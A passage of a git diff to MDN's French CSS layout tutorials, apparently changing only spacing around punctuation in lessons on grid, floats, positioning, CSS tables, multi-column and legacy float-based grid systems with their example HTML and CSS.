qu'une très brève introduction aux possibilités de Flexbox : pour en apprendre plus, voyez notre article sur [Flexbox](/fr/docs/Learn/CSS/CSS_layout/Flexbox). ## Disposition en trame -Alors que « flexbox » est conçu pour une disposition unidimensionnelle, « Grid Layout » (Disposition tramée) est bidimensionnel — il place les choses en rangées et colonnes. +Alors que « flexbox » est conçu pour une disposition unidimensionnelle, « Grid Layout » (Disposition tramée) est bidimensionnel — il place les choses en rangées et colonnes. -À nouveau, vous basculez en disposition tramée en donnant une valeur appropriée à `display` — `display: grid`. L'exemple ci-dessous utilise un balisage semblable à celui de l'exemple flex : un conteneur et quelques éléments enfants. Outre `display: grid`, nous définissons une trame de placement sur le parent avec les propriétés {{cssxref("grid-template-rows")}} et {{cssxref("grid-template-columns")}}. Nous avons défini trois colonnes de `1fr` chacune et deux lignes de `100px`. Il n'est pas nécessaire de mettre de règles sur les éléments enfants ; il seront automatiquement placés dans les cellules de trame créées. +À nouveau, vous basculez en disposition tramée en donnant une valeur appropriée à `display` — `display: grid`. L'exemple ci-dessous utilise un balisage semblable à celui de l'exemple flex : un conteneur et quelques éléments enfants. Outre `display: grid`, nous définissons une trame de placement sur le parent avec les propriétés {{cssxref("grid-template-rows")}} et {{cssxref("grid-template-columns")}}. Nous avons défini trois colonnes de `1fr` chacune et deux lignes de `100px`. Il n'est pas nécessaire de mettre de règles sur les éléments enfants ; il seront automatiquement placés dans les cellules de trame créées. ### Utiliser display: grid @@ -267,7 +267,7 @@ Une fois la trame créée, vous pouvez y placer explicitement les éléments au {{ EmbedLiveSample('Placer_des_objets_sur_la_grille', '300', '330') }} -> **Note :** Ces deux exemples ne sont qu'une petite partie de la puissance des dispositions tramées ; pour en savoir plus, voyez l'article [Disposition tramée](/fr/docs/Learn/CSS/CSS_layout/Grids). +> **Note :** Ces deux exemples ne sont qu'une petite partie de la puissance des dispositions tramées ; pour en savoir plus, voyez l'article [Disposition tramée](/fr/docs/Learn/CSS/CSS_layout/Grids). La suite de ce guide porte sur d'autres méthodes de mise en page. Elles ont moins d'importance pour la structure générale de la mise en page, mais peuvent tout de même vous aider à réaliser des tâches spécifiques. En comprenant la nature de chaque tâche de mise en page, vous découvrez rapidement, en regardant un composant particulier de votre design, que le type de mise en page le plus adapté est souvent évident. @@ -275,7 +275,7 @@ La suite de ce guide porte sur d'autres méthodes de mise en page. Elles ont moi Faire flotter un élément change son comportement ainsi que celui de l'élément qui le suit dans le cours normal. L'élément est déplacé à gauche ou à droite. Il est sorti du cours normal. Le contenu environnant l'enveloppe comme si l'élément flottait dans ce contenu. -La propriété {{cssxref("float")}} a quatre valeurs possibles : +La propriété {{cssxref("float")}} a quatre valeurs possibles : - `left` — fait flotter l'élément sur la gauche. - `right` — fait flotter l'élément sur la droite. @@ -331,13 +331,13 @@ Le positionnement permet de déplacer un élément de l'endroit où il serait pl Il existe cependant des techniques utiles pour certains modes de positionnement se fondant sur la propriété {{cssxref("position")}}. Comprendre le positionnement aide aussi à comprendre le cours normal et le fait de déplacer un objet hors du cours normal. -Il y a cinq types de positionnement à connaître : +Il y a cinq types de positionnement à connaître : -- **positionnement statique** : valeur par défaut reçue par chaque élément — il signifie simplement « placer l'élément à sa position normale suivant le cours normal de mise en page du document — rien de spécial à constater ici ». +- **positionnement statique** : valeur par défaut reçue par chaque élément — il signifie simplement « placer l'élément à sa position normale suivant le cours normal de mise en page du document — rien de spécial à constater ici ». - **positionnement relatif :** modification de la position d'un élément dans la page — il est déplacé par rapport à sa position dans le cours normal — y compris la possibilité de chevaucher d'autres éléments de la page. - **positionnement absolu** : déplacement d'un élément indépendamment du cours normal de positionnement, comme s'il était placé sur un calque séparé. À partir de là, vous pouvez le fixer à une position relative au bord de la page de l'élément `<html>` (ou de son plus proche élément ancêtre positionné). Ce positionnement est utile pour créer des effets de mise en page complexes tels que des boîtes à onglets où différents panneaux de contenu sont superposés, affichés ou cachés comme vous le souhaitez, ou des panneaux d'information hors de l'écran par défaut, mais qui peuvent glisser à l'écran à l'aide d'un bouton de contrôle. - **positionnement fixe :** tout à fait semblable au précédent, à l'exception que l'élément est fixé par rapport à la vue du navigateur et non d'un autre élément. C'est très pratique pour créer des effets tels qu'un menu de navigation persistant, toujours au même endroit sur l'écran, quand l'utilisateur fait défiler le reste de la page. -- **positionnement collant :** nouvelle méthode de positionnement qui fait qu'un élément se comporte comme `position: static` jusqu'à un certain décalage de la vue au delà duquel il se comporte comme si sa propriété était `position: fixed`. +- **positionnement collant :** nouvelle méthode de positionnement qui fait qu'un élément se comporte comme `position: static` jusqu'à un certain décalage de la vue au delà duquel il se comporte comme si sa propriété était `position: fixed`. ### Exemple simple de positionnement @@ -351,7 +351,7 @@ Afin de se familiariser avec ces techniques de mises en page, nous allons vous m <p>Je suis un élément de niveau bloc de base.</p> ``` -Ce code HTML sera stylisé par défaut en utilisant la CSS suivante : +Ce code HTML sera stylisé par défaut en utilisant la CSS suivante : ```css body { @@ -374,7 +374,7 @@ Le rendu est le suivant: ### Positionnement relatif -Le positionnement relatif vous permet de décaler un élément de la position qu'il occuperait par défaut dans le cours normal de la mise en page. Ce positionnement permet de déplacer légèrement une icône pour l'aligner avec une étiquette de texte. Pour faire cette opération, nous ajoutons la règle suivante pour réaliser le positionnement relatif : +Le positionnement relatif vous permet de décaler un élément de la position qu'il occuperait par défaut dans le cours normal de la mise en page. Ce positionnement permet de déplacer légèrement une icône pour l'aligner avec une étiquette de texte. Pour faire cette opération, nous ajoutons la règle suivante pour réaliser le positionnement relatif : ```css .positioned { @@ -384,9 +384,9 @@ Le positionnement relatif vous permet de décaler un élément de la position qu } ``` -Ici, nous donnons au paragraphe médian à la propriété {{cssxref("position")}} la valeur `relative` — ce qui ne fait rien en soi, alors nous ajoutons également les propriétés {{cssxref("top")}} et {{cssxref("left")}}. Elles servent à déplacer l'élément en question vers le bas et à droite — cela pourrait sembler être l'opposé de ce à quoi vous vous attendiez, mais représentez-vous l'élément comme poussé à partir de ses côtés gauche et haut : il en résulte un déplacement vers la droite et vers le bas. +Ici, nous donnons au paragraphe médian à la propriété {{cssxref("position")}} la valeur `relative` — ce qui ne fait rien en soi, alors nous ajoutons également les propriétés {{cssxref("top")}} et {{cssxref("left")}}. Elles servent à déplacer l'élément en question vers le bas et à droite — cela pourrait sembler être l'opposé de ce à quoi vous vous attendiez, mais représentez-vous l'élément comme poussé à partir de ses côtés gauche et haut : il en résulte un déplacement vers la droite et vers le bas. -Ajouter ce code donne le résultat suivant : +Ajouter ce code donne le résultat suivant : ```html hidden <h1>Positionnement relatif</h1> @@ -427,7 +427,7 @@ p { Le positionnement absolu s'utilise pour sortir totalement un élément du cours normal de la mise en page et le placer selon son décalage par rapport à un bloc conteneur. -En revenant à l'exemple sans positionnement, nous pourrions ajouter la règle CSS suivante pour implémenter un positionnement absolu : +En revenant à l'exemple sans positionnement, nous pourrions ajouter la règle CSS suivante pour implémenter un positionnement absolu : ```css .positioned { @@ -437,7 +437,7 @@ En revenant à l'exemple sans positionnement, nous pourrions ajouter la règle C } ``` -Ici pour notre paragraphe médian, nous donnons à la propriété {{cssxref("position")}} la valeur `absolute` et les mêmes valeurs aux propriétés {{cssxref("top")}} et {{cssxref("left")}} que précédemment. Ajouter ce code, cependant, donnera le résultat suivant : +Ici pour notre paragraphe médian, nous donnons à la propriété {{cssxref("position")}} la valeur `absolute` et les mêmes valeurs aux propriétés {{cssxref("top")}} et {{cssxref("left")}} que précédemment. Ajouter ce code, cependant, donnera le résultat suivant : ```html hidden <h1>Positionnement absolu</h1> @@ -474,7 +474,7 @@ p { {{ EmbedLiveSample('Positionnement_absolu', '100%', 300) }} -C'est vraiment différent ! L'élément positionné a maintenant complètement été séparé du reste de la mise en page et se situe au haut de celle-ci. Les deux autres paragraphes se trouvent maintenant ensemble comme si leur frère positionné n'existait pas. Les propriétés {{cssxref("top")}} et {{cssxref("left")}} ont des effets différents pour un positionnement absolu comparativement à un relatif. Dans ce cas les décalages ont été calculés à compter du haut et du côté gauche de la la page. Il est possible de modifier l'élément parent conteneur ; nous verrons cela dans la leçon sur le [positionnement](/fr/docs/Learn/CSS/CSS_layout/Positioning). +C'est vraiment différent ! L'élément positionné a maintenant complètement été séparé du reste de la mise en page et se situe au haut de celle-ci. Les deux autres paragraphes se trouvent maintenant ensemble comme si leur frère positionné n'existait pas. Les propriétés {{cssxref("top")}} et {{cssxref("left")}} ont des effets différents pour un positionnement absolu comparativement à un relatif. Dans ce cas les décalages ont été calculés à compter du haut et du côté gauche de la la page. Il est possible de modifier l'élément parent conteneur ; nous verrons cela dans la leçon sur le [positionnement](/fr/docs/Learn/CSS/CSS_layout/Positioning). ### Positionnement fixé @@ -531,7 +531,7 @@ body { ### Positionnement collant -Le positionnement collant est la dernière méthode de positionnement à notre disposition. Elle mélange le positionnement statique par défaut avec le positionnement fixé. Lorsqu'un élément a la propriété `position: sticky`, il défile dans le cours normal jusqu'à atteindre un décalage défini de la fenêtre de vue. A ce moment-là, il est « collé » comme si `position: fixed` lui était appliqué. +Le positionnement collant est la dernière méthode de positionnement à notre disposition. Elle mélange le positionnement statique par défaut avec le positionnement fixé. Lorsqu'un élément a la propriété `position: sticky`, il défile dans le cours normal jusqu'à atteindre un décalage défini de la fenêtre de vue. A ce moment-là, il est « collé » comme si `position: fixed` lui était appliqué. ```html hidden <h1>Positionnement collant</h1> @@ -576,7 +576,7 @@ body { Les tableaux HTML sont utiles pour afficher des données sous forme de tableaux, mais il y a des années de cela — avant même que les bases des CSS soit prises en charge de manière fiable par les navigateurs — les développeurs web avaient l'habitude d'utiliser les tableaux pour agencer toute la mise en page — y plaçant les en‑têtes, les pieds-de-page, diverses colonnes, etc. en multiples lignes et colonnes de tableaux. Cela fonctionnait en son temps, mais il y avait beaucoup de problèmes — la mise en page par tableau n'est pas souple, très lourde en balisage, difficile à déboguer et sémantiquement erronée (par ex., les utilisateurs de lecteur d'écran avaient des problèmes de navigation avec cette disposition en tableau). -La façon dont un tableau est affiché sur une page web quand vous utilisez le balisage « table » résulte d'un ensemble de propriétés des CSS définissant la composition du tableau. Ces propriétés peuvent être utilisées pour placer des éléments qui ne sont pas des tableaux, utilisation quelquefois désignée sous le vocable « utiliser des tableaux CSS ». +La façon dont un tableau est affiché sur une page web quand vous utilisez le balisage « table » résulte d'un ensemble de propriétés des CSS définissant la composition du tableau. Ces propriétés peuvent être utilisées pour placer des éléments qui ne sont pas des tableaux, utilisation quelquefois désignée sous le vocable « utiliser des tableaux CSS ». Prenons un exemple. Tout d'abord, un simple balisage qui crée un formulaire HTML. Chaque élément en entrée a une étiquette ; nous avons également inclus une légende à l'intérieur d'un paragraphe. Chaque paire étiquette/entrée est incorporée dans un élément {{htmlelement("div")}} pour les besoins de la mise en page. @@ -584,15 +584,15 @@ Prenons un exemple. Tout d'abord, un simple balisage qui crée un formulaire HTM <form> <p>Tout d'abord, dites‑nous votre nom et votre âge.</p> <div> - <label for="fname">Prénom :</label> + <label for="fname">Prénom :</label> <input type="text" id="fname"> </div> <div> - <label for="lname">Nom :</label> + <label for="lname">Nom :</label> <input type="text" id="lname"> </div> <div> - <label for="age">Âge :</label> + <label for="age">Âge :</label> <input type="text" id="age"> </div> </form> @@ -600,7 +600,7 @@ Prenons un exemple. Tout d'abord, un simple balisage qui crée un formulaire HTM Maintenant, le CSS pour cet exemple. Le gros de la CSS est plutôt ordinaire, à l'exception de l'utilisation de la propriété {{cssxref("display")}}. Les éléments {{htmlelement("form")}}, {{htmlelement("div")}} et {{htmlelement("label")}} ainsi que {{htmlelement("input")}} ont été configurés pour disposés en tableau, en lignes de tableau et en cellules de tableau respectivement — à la base, ils se comporteront comme dans le cas d'un balisage de tableau HTML, avec pour résultat un bon alignement par défaut entre les étiquettes et le texte. Tout ce qu'il nous reste à faire est d'ajouter un peu d'ampleur, des marges, etc. pour que tout soit agréable visuellement et c'est tout. -Notez que les propriétés `display: table-caption;` et `caption-side: bottom;` ont été affectées au paragraphe légende — il sera donc disposé comme une légende de tableau ({{htmlelement("caption")}}) placée en bas de la table pour des raisons de style, même si son balisage est placé avant les éléments `input` dans le code source. Voilà une bonne dose de souplesse. +Notez que les propriétés `display: table-caption;` et `caption-side: bottom;` ont été affectées au paragraphe légende — il sera donc disposé comme une légende de tableau ({{htmlelement("caption")}}) placée en bas de la table pour des raisons de style, même si son balisage est placé avant les éléments `input` dans le code source. Voilà une bonne dose de souplesse. ```css html { @@ -664,7 +664,7 @@ Dans l'exemple ci–dessous, nous démarrons avec un bloc HTML dans un élément </div> ``` -Noux utilisons une propriété `column-width` de valeur 200 pixels pour ce conteneur ; le navigateur crée autant de colonnes de 200 pixels de large qu'il est possible de faire entrer dans le conteneur, puis il partage l'espace restant entre les colonnes crées. +Noux utilisons une propriété `column-width` de valeur 200 pixels pour ce conteneur ; le navigateur crée autant de colonnes de 200 pixels de large qu'il est possible de faire entrer dans le conteneur, puis il partage l'espace restant entre les colonnes crées. ```html hidden <div class="container"> diff --git a/files/fr/learn/css/css_layout/legacy_layout_methods/index.md b/files/fr/learn/css/css_layout/legacy_layout_methods/index.md index 6d0e3d27ee..356d85ba1e 100644 --- a/files/fr/learn/css/css_layout/legacy_layout_methods/index.md +++ b/files/fr/learn/css/css_layout/legacy_layout_methods/index.md @@ -17,7 +17,7 @@ original_slug: Apprendre/CSS/CSS_layout/Legacy_Layout_Methods {{PreviousMenuNext("Learn/CSS/CSS_layout/Multiple-Column_Layout", "Learn/CSS/CSS_layout/Supporting_Older_Browsers", "Learn/CSS/CSS_layout")}} -Les systèmes de trames sont courants dans les mises en page avec une CSS, mais avant la création de l'application « CSS Grid Layout », ces mises en page étaient mises en œuvre à l'aide de boîtes flottantes ou autres. Vous imaginiez votre mise en page sous la forme d'un nombre fixe de colonnes (par exemple 4, 6 ou 12), puis insériez des colonnes de contenu dans ces colonnes imaginaires. Dans cet article, nous allons explorer le fonctionnement de ces méthodes traditionnelles anciennes pour que vous compreniez comment elles sont utilisées si vous travaillez sur un projet ancien. +Les systèmes de trames sont courants dans les mises en page avec une CSS, mais avant la création de l'application « CSS Grid Layout », ces mises en page étaient mises en œuvre à l'aide de boîtes flottantes ou autres. Vous imaginiez votre mise en page sous la forme d'un nombre fixe de colonnes (par exemple 4, 6 ou 12), puis insériez des colonnes de contenu dans ces colonnes imaginaires. Dans cet article, nous allons explorer le fonctionnement de ces méthodes traditionnelles anciennes pour que vous compreniez comment elles sont utilisées si vous travaillez sur un projet ancien. <table class="standard-table"> <tbody> @@ -44,11 +44,11 @@ Les systèmes de trames sont courants dans les mises en page avec une CSS, mais ## Mise en page et systèmes de trames avant CSS Grid Layout -Il peut sembler surprenant pour un désigner web que les CSS n'avaient pas de système de disposition en trame intégré jusqu'à peu. Au lieu de cela, nous utilisions diverses méthodes peu performantes pour créer des designs à trames. Nous appelerons maintenant ces méthodes « méthodes héritées ». +Il peut sembler surprenant pour un désigner web que les CSS n'avaient pas de système de disposition en trame intégré jusqu'à peu. Au lieu de cela, nous utilisions diverses méthodes peu performantes pour créer des designs à trames. Nous appelerons maintenant ces méthodes « méthodes héritées ». -Pour les nouveaux projets, dans la plupart des cas, CSS Grid Layout forme la base de toute mise en page en combinaison avec une ou plusieurs autres méthodes modernes. Vous rencontrerez cependant de temps en temps des « systèmes de trame » utilisant ces méthodes héritées. Il est intéressant de comprendre comment elles fonctionnent et en quoi elles différent de CSS Grid Layout. +Pour les nouveaux projets, dans la plupart des cas, CSS Grid Layout forme la base de toute mise en page en combinaison avec une ou plusieurs autres méthodes modernes. Vous rencontrerez cependant de temps en temps des « systèmes de trame » utilisant ces méthodes héritées. Il est intéressant de comprendre comment elles fonctionnent et en quoi elles différent de CSS Grid Layout. -Cette leçon explique comment fonctionnent les systèmes et les cadres de trames se fondant sur des boîtes flottantes et Flexbox. Après avoir étudié « Grid Layout », vous serez probablement surpris de voir à quel point tout cela semble compliqué ! Ces connaissances vous seront utile si vous avez besoin de créer du code de recours pour les navigateurs qui ne prenent pas en charge les nouvelles méthodes ; de plus, elles vous permettront de travailler sur des projets existants qui utilisent ces types de systèmes. +Cette leçon explique comment fonctionnent les systèmes et les cadres de trames se fondant sur des boîtes flottantes et Flexbox. Après avoir étudié « Grid Layout », vous serez probablement surpris de voir à quel point tout cela semble compliqué ! Ces connaissances vous seront utile si vous avez besoin de créer du code de recours pour les navigateurs qui ne prenent pas en charge les nouvelles méthodes ; de plus, elles vous permettront de travailler sur des projets existants qui utilisent ces types de systèmes. Gardons présent à l'esprit, en explorant ces systèmes, qu'aucun d'entre eux ne crée réellement une trame de la même manière que CSS Grid Layout. Leur mode de fonctionnement consiste à donner une taille aux objets et à les pousser pour les aligner d'une manière figurant une trame. @@ -71,9 +71,9 @@ Tout d'abord, nous avons besoin de contenu à mettre dans nos colonnes. Remplace </div> ``` -Chacune de ces colonnes nécessite un élément extérieur conteneur du dit contenu et manipulons‑le en bloc.. Dans notre exemple, nous avons choisi des éléments {{htmlelement("div")}}, mais vous auriez pu choisir n'importe quoi d'autre sémantiquement approprié comme un élément {{htmlelement("article")}}, {{htmlelement("section")}} ou {{htmlelement("aside")}} ou tout autre. +Chacune de ces colonnes nécessite un élément extérieur conteneur du dit contenu et manipulons‑le en bloc.. Dans notre exemple, nous avons choisi des éléments {{htmlelement("div")}}, mais vous auriez pu choisir n'importe quoi d'autre sémantiquement approprié comme un élément {{htmlelement("article")}}, {{htmlelement("section")}} ou {{htmlelement("aside")}} ou tout autre. -Pour la CSS maintenant appliquons ce qui suit au HTML comme base de configuration : +Pour la CSS maintenant appliquons ce qui suit au HTML comme base de configuration : ```css body { @@ -83,7 +83,7 @@ body { } ``` -Le corps du document prendra 90% de la largeur de fenêtre de la vue jusqu'à atteindre 900px de large ; au delà, il restera fixe à cette largeur et se centrera lui-même dans la fenêtre. Par défaut, ses enfants (les éléments {{htmlelement("h1")}}} et les deux {{htmlelement("div")}}) prenent 100% de la largeur du corps. Si nous voulons que les deux {{htmlelement("div")}} flottent l'un à côté de l'autre, nous devons fixer la somme de leur largeurs à 100% de la largeur totale de leur parent ou moins pour qu'ils puissent se placer l'un à côté de l'autre. Ajoutez ceci au bas de la CSS : +Le corps du document prendra 90% de la largeur de fenêtre de la vue jusqu'à atteindre 900px de large ; au delà, il restera fixe à cette largeur et se centrera lui-même dans la fenêtre. Par défaut, ses enfants (les éléments {{htmlelement("h1")}}} et les deux {{htmlelement("div")}}) prenent 100% de la largeur du corps. Si nous voulons que les deux {{htmlelement("div")}} flottent l'un à côté de l'autre, nous devons fixer la somme de leur largeurs à 100% de la largeur totale de leur parent ou moins pour qu'ils puissent se placer l'un à côté de l'autre. Ajoutez ceci au bas de la CSS : ```css div:nth-of-type(1) { @@ -95,7 +95,7 @@ div:nth-of-type(2) { } ``` -Ici nous faisons en sorte que chaque élément représente 48% de la largeur du parent — soit 96% au total, laissant 4% libres pour jouer le rôle de gouttière entre les deux colonnes et leur donner un peu d'air. Maintenant nous avons juste à faire flotter les deux colonnes ainsi : +Ici nous faisons en sorte que chaque élément représente 48% de la largeur du parent — soit 96% au total, laissant 4% libres pour jouer le rôle de gouttière entre les deux colonnes et leur donner un peu d'air. Maintenant nous avons juste à faire flotter les deux colonnes ainsi : ```css div:nth-of-type(1) { @@ -109,7 +109,7 @@ div:nth-of-type(2) { } ``` -En mettant tout ensemble, voici le résultat : +En mettant tout ensemble, voici le résultat : ### Exemple complet @@ -149,13 +149,13 @@ div:nth-of-type(2) { Notez que nous avons utilisé des pourcentages pour définir les largeurs — c'est la bonne stratégie, cela crée une **disposition fluide**, s'ajustant à diverses tailles d'écran et gardant les mêmes proportions pour les tailles d'écran plus petites. Modifiez la taille de la fenêtre du navigateur pour voir par vous‑même. C'est un outil adapté au désign web adaptatif. -> **Note :** Vous pouvez voir cet exemple en cours à la page [0_two-column-layout.html](http://mdn.github.io/learning-area/css/css-layout/floats/0_two-column-layout.html) (voyez aussi son [code source](https://github.com/mdn/learning-area/blob/master/css/css-layout/floats/0_two-column-layout.html)). +> **Note :** Vous pouvez voir cet exemple en cours à la page [0_two-column-layout.html](http://mdn.github.io/learning-area/css/css-layout/floats/0_two-column-layout.html) (voyez aussi son [code source](https://github.com/mdn/learning-area/blob/master/css/css-layout/floats/0_two-column-layout.html)). ## Ancienne création d'un cadre de trames La plupart des anciens cadres de création de trames utilisaient le comportement de la propriété {{cssxref("float")}} pour faire flotter les colonnes les unes à côté des autres pour créer quelque chose qui ressemble à des trames. Travailler le processus de création d'une trame avec des boîtes flottantes vous en montre le fonctionnement et sert également d'introduction à certains concepts plus avancés pour construire les choses apprises dans la leçon sur le [dégagement des boîtes flottantes](/fr/docs/Learn/CSS/CSS_layout/Floats). -Le type de cadre de trames le plus facile à créer est un cadre de largeur fixe — il faut simplement déterminer la largeur totale du désign, le nombre de colonnes voulues et la largeur des gouttières et des colonnes. Si nous décidons plutôt de disposer ce design sur une trame avec des colonnes s'adaptant à la largeur de vue du navigateur, nous devrons calculer les pourcentages de largeur des colonnes et celui des gouttières entre colonnes. +Le type de cadre de trames le plus facile à créer est un cadre de largeur fixe — il faut simplement déterminer la largeur totale du désign, le nombre de colonnes voulues et la largeur des gouttières et des colonnes. Si nous décidons plutôt de disposer ce design sur une trame avec des colonnes s'adaptant à la largeur de vue du navigateur, nous devrons calculer les pourcentages de largeur des colonnes et celui des gouttières entre colonnes. Dans les paragraphes suivants, nous verrons comment créer ces deux types. Nous allons faire une trame à 12 colonnes — un choix courant considéré comme adaptable à diverses situations étant donné que 12 est bien divisible par 6, 4, 3 et 2. @@ -194,7 +194,7 @@ Le but est d'en faire une trame de démonstration sur deux lignes à partir des  -À l'élément {{htmlelement("style")}}, ajoutons le code ci-après. Il donne une largeur de 980 pixels au conteneur enveloppe avec un remplissage de 20 pixels du côté droit. Cela nous laisse 960 pixels comme largeur totale pour les colonnes et les gouttières — dans ce cas, le remplissage est soustrait à la largeur totale du contenu car nous avons fixé la valeur de {{cssxref("box-sizing")}} à `border-box` sur tous les éléments du site (voir [Modification totale du modèle de boîte](</fr/docs/Apprendre/CSS/Styling_boxes/Box_model_recap#Modification totale du modèle de boîte>) pour plus d'explications). +À l'élément {{htmlelement("style")}}, ajoutons le code ci-après. Il donne une largeur de 980 pixels au conteneur enveloppe avec un remplissage de 20 pixels du côté droit. Cela nous laisse 960 pixels comme largeur totale pour les colonnes et les gouttières — dans ce cas, le remplissage est soustrait à la largeur totale du contenu car nous avons fixé la valeur de {{cssxref("box-sizing")}} à `border-box` sur tous les éléments du site (voir [Modification totale du modèle de boîte](</fr/docs/Apprendre/CSS/Styling_boxes/Box_model_recap#Modification totale du modèle de boîte>) pour plus d'explications). ```css * { @@ -225,7 +225,7 @@ Les gouttières entre colonnes ont une largeur de 20 px. Ces gouttières sont fa Il convient de soustraire cela de la largeur totale de 960 pixels, ce qui laisse 720 pixels pour les colonnes. En divisant par 12, nous voyons que chaque colonne aura une largeur de 60 pixels. -L'étape suivante consiste à créer un règle pour la classe `.col` la faisant flotter à gauche lui laissant une marge gauche de {{cssxref("margin-left")}} de 20 pixels formant la gouttière et une largeur {{cssxref("width")}} de 60 pixels. Ajoutez la règle suivante en fin de la CSS : +L'étape suivante consiste à créer un règle pour la classe `.col` la faisant flotter à gauche lui laissant une marge gauche de {{cssxref("margin-left")}} de 20 pixels formant la gouttière et une largeur {{cssxref("width")}} de 60 pixels. Ajoutez la règle suivante en fin de la CSS : ```css .col { @@ -242,7 +242,7 @@ La ligne supérieure des colonnes unitaires est maintenant disposées en tant qu Les conteneurs destinés à accueillir plusieurs colonnes doivent être d'une classe spéciale pour pouvoir ajuster leurs valeurs {{cssxref("width")}} en fonction du nombre de colonnes requis (plus les gouttières intermédiaires). Nous devons créer une classe supplémentaire pour permettre aux conteneurs de s'étendre de 2 à 12 colonnes. Cette largeur est le résultat de l'addition de la largeur de toutes les colonnes plus les largeurs des gouttières dont le nombre est toujours inférieur de 1 au nombre de colonnes. -Ajoutez ce qui suit en bas de la CSS : +Ajoutez ce qui suit en bas de la CSS : ```css /* Deux largeurs de colonnes (120px) plus une largeur de gouttière (20px) */ @@ -265,7 +265,7 @@ Une fois ces classes crées, nous pouvons disposer des colonnes de largeur diff > **Note :** Si vous avez du mal à faire fonctionner cet exemple, comparez‑le avec notre [version terminée](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid-finished.html) sur GitHub (la voir aussi [en fonctionnement direct](http://mdn.github.io/learning-area/css/css-layout/grids/simple-grid-finished.html)). -Modifiez les classes de vos éléments soit en ajoutant ou retirant certains conteneurs, pour voir comment faire varier la disposition. Par exemple, vous pouvez faire en sorte que la deuxième ligne ressemble à ceci : +Modifiez les classes de vos éléments soit en ajoutant ou retirant certains conteneurs, pour voir comment faire varier la disposition. Par exemple, vous pouvez faire en sorte que la deuxième ligne ressemble à ceci : ```css <div class="row"> @@ -290,7 +290,7 @@ Pour la largeur de la première colonne, la **largeur cible** est de 60 pixels e Décalant de deux le point décimal nous obtenons un pourcentage de 6.25%. Donc, dans la CSS, nous pouvons remplacer la largeur de colonne de 60 pixels par 6.25%. -En faisant de même pour la largeur de la gouttière : +En faisant de même pour la largeur de la gouttière : 20 / 960 = 0.02083333333 @@ -300,7 +300,7 @@ Donc, remplaçons par 2.08333333% la valeur 20 pixels de {{cssxref("margin-left" Pour ce paragraphe, faites une autre copie de la page exemple précédente ou faites une copie locale du code de [simple-grid-finished.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid-finished.html) comme point de départ. -Mettez à jour la deuxième règle CSS (avec le sélecteur `.wrapper`) comme suit : +Mettez à jour la deuxième règle CSS (avec le sélecteur `.wrapper`) comme suit : ```css body { @@ -316,7 +316,7 @@ body { Outre la définition du pourcentage comme valeur de {{cssxref("width")}}, nous avons ajouté la propriété {{cssxref("max-width")}} de façon à plafonner une mise en page qui deviendrait trop large. -Ensuite, mettez à jour les quatre règles CSS (du sélecteur `.col`) ainsi : +Ensuite, mettez à jour les quatre règles CSS (du sélecteur `.col`) ainsi : ```css .col { @@ -327,9 +327,9 @@ Ensuite, mettez à jour les quatre règles CSS (du sélecteur `.col`) ainsi : } ``` -Maintenant vient la partie un peu plus laborieuse — nous devons mettre à jour toutes les règles `.col.span` en utilisant des largeurs en pourcentage au lieu de pixels. Cela prend un peu de temps avec une calculette ; pour vous économiser du travail, nous l'avons fait pour vous. +Maintenant vient la partie un peu plus laborieuse — nous devons mettre à jour toutes les règles `.col.span` en utilisant des largeurs en pourcentage au lieu de pixels. Cela prend un peu de temps avec une calculette ; pour vous économiser du travail, nous l'avons fait pour vous. -Mettez à jour le bloc bas des règles CSS avec ce qui suit : +Mettez à jour le bloc bas des règles CSS avec ce qui suit : ```css /* Deux largeurs de colonnes (12.5%) plus une largeur de gouttière (2.08333333%) */ @@ -354,9 +354,9 @@ Maintenant enregistrez le code, chargez le dans le navigateur et modifiez la lar ### Faciliter les calculs avec la fonction calc() -Vous pouvez utiliser la fonction {{cssxref("calc()")}} pour faire les calculs à l'intérieur même de la CSS — la fonction vous permet d'insérer de simples expressions mathématiques pour calculer la valeur qu'il convient de donner à la propriété CSS. C'est utile quand les calculs sont complexes ; vous pouvez même effectuer un calcul avec des unités différentes, par exemple « je veux que la hauteur de cet élément soit toujours égale à 100% de son parent moins 50px ». Voir [cet exemple dans le didacticiel MediaRecorder API](</fr/docs/Web/API/MediaRecorder_API/Using_the_MediaRecorder_API#Keeping_the_interface_constrained_to_the_viewport_regardless_of_device_height_with_calc()>). +Vous pouvez utiliser la fonction {{cssxref("calc()")}} pour faire les calculs à l'intérieur même de la CSS — la fonction vous permet d'insérer de simples expressions mathématiques pour calculer la valeur qu'il convient de donner à la propriété CSS. C'est utile quand les calculs sont complexes ; vous pouvez même effectuer un calcul avec des unités différentes, par exemple « je veux que la hauteur de cet élément soit toujours égale à 100% de son parent moins 50px ». Voir [cet exemple dans le didacticiel MediaRecorder API](</fr/docs/Web/API/MediaRecorder_API/Using_the_MediaRecorder_API#Keeping_the_interface_constrained_to_the_viewport_regardless_of_device_height_with_calc()>). -Revenon à nos trames ! Toute colonne se développant au delà de la première a une largeur totale de 6.25% multipliée par le nombre de colonnes précédentes plus 2.08333333% multiplié par le nombre de gouttières (qui doit toujours être égal au nombre de colonnes moins 1). La fonction `calc()` nous permet de faire ce calcul dans la valeur `width` même, ainsi pour tout élément au-delà de la colonne 4 nous pouvons écrire, par exemple : +Revenon à nos trames ! Toute colonne se développant au delà de la première a une largeur totale de 6.25% multipliée par le nombre de colonnes précédentes plus 2.08333333% multiplié par le nombre de gouttières (qui doit toujours être égal au nombre de colonnes moins 1). La fonction `calc()` nous permet de faire ce calcul dans la valeur `width` même, ainsi pour tout élément au-delà de la colonne 4 nous pouvons écrire, par exemple : ```css .col.span4 { @@ -364,7 +364,7 @@ Revenon à nos trames ! Toute colonne se développant au delà de la première } ``` -Remplacez le bloc de règles le plus bas par le suivant, puis actualisez le navigateur pour constater que vous obtenez un résultat identique : +Remplacez le bloc de règles le plus bas par le suivant, puis actualisez le navigateur pour constater que vous obtenez un résultat identique : ```css .col.span2 { width: calc((6.25%*2) + 2.08333333%); } @@ -380,13 +380,13 @@ Remplacez le bloc de règles le plus bas par le suivant, puis actualisez le navi .col.span12 { width: calc((6.25%*12) + (2.08333333%*11)); } ``` -> **Note :** Vous pouvez voir la version terminée dans [fluid-grid-calc.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid-calc.html) (la voir aussi [en direct](http://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid-calc.html)). +> **Note :** Vous pouvez voir la version terminée dans [fluid-grid-calc.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid-calc.html) (la voir 